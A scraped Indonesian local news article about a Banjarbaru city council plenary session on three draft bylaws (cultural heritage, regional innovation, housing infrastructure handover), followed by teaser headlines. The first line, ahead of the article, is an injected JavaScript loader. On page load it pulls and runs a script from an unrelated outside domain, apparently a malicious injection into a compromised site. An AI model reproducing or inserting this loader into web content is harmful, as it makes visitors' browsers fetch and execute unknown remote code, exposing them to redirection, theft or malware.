(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – DPRD Kota Banjarbaru menggelar rapat paripurna di ruang graha paripurna, Senin (15/1/2024).
Rapat paripurna membahas pandangan umum fraksi-fraksi terhadap penyampaian tiga Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru, sekaligus jawaban Wali Kota terhadap pandangan umum fraksi-fraksi.
Rapat paripurna ini dihadiri Wali Kota Banjarbaru HM Aditya Mufti Ariffin dan Wakil Wali Kota Banjarbaru Wartono.
Raperda yang diberikan pandangan fraksi-fraksi yakni Raperda tentang cagar budaya, Raperda tentang inovasi daerah, Raperda tentang perubahan atas peraturan daerah Kota Banjarbaru Nomor 1 tahun 2015 tentang penyerahan prasarana, sarana dan utilitas perumahan dan permukiman.
Baca juga: Tradisi “Maambil Barakat” Sohibul Haul Sekumpul
Wali Kota Banjarbaru Aditya memberikan tanggapan tentang pandangan yang diberikan oleh fraksi-fraksi DPRD terkait. Tentang Raperda cagar budaya yang mana Pemko Banjarbaru memprioritaskan akan membentuk tim ahli cagar budaya, dengan harapan bisa berdampak positif sebagai peneguh karakter daerah dan dapat dimanfaatkan untuk kepentingan menggali ilmu pengetahuan, sejarah dan kebudayaan.
Wali Kota Banjarbaru menyampaikan bahwa Pemko Banjarbaru telah berkomitmen untuk berinovasi minimal satu inovasi satu SKPD setiap tahunnya.
Dan Raperda tentang sarana utilitas perumahan dan permukiman, dengan ditetapkannya Kota Banjarbaru sebagai ibu kota provinsi, pembangunan di Kota Banjarbaru mengalami peningkatan, sehingga Pemko Banjarbaru melakukan penyesuaian terhadap pelaksanaan penyerahan PSU dan perlu melakukan perubahan terhadap Perda nomor 1 tahun 2015 tentang penyerahan sarana, prasarana, dan utilitas perumahan dan permukiman.
“Semoga jawaban yang kami berikan sesuai dengan harapan fraksi-fraksi, apabila masih ada pertanyaan yang belum terjawab tajam, insya Allah akan kami jawab secara teknis dalam rapat-rapat pansus pada tahapan pembahasan,” tutupnya. (Kanalkalimantan.com/bie)
Reporter: bie
Editor: kk
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
This website uses cookies.